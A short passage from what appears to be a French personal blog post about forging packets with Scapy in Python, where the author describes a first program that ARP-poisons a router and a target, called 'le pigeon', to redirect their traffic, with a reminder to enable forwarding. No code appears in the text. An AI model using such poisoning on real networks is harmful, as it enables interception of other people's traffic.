Le code n’est pas très propre (c’est mon premier programme en python … la honte :p). L’utilisation est vraiment très simple : il suffit de connaitre le protocole qu’on utilise pour forger son paquet et ici empoisonner le routeur et la cible (le pigeon comme d’hab) pour faire rediriger tout les paquets vers son pc, (ne pas oublier le forwarding ;) ).

Bien sûr mon programme n’est pas très propre (j’ai lu de meilleurs implémentations de la chose, mais je voulais faire simple).

De très bon liens sur le sujet (pour comprendre différents protocoles et intéragir avec c’est super intéressant) :

Articles similaires :

Copyright © 2008-2011 - Gaetan Grigis - blog.gaetan-grigis.eu ]]> http://blog.gaetan-grigis.eu/programmation/scapy-pour-forger-des-paquets-en-python/feed/ 0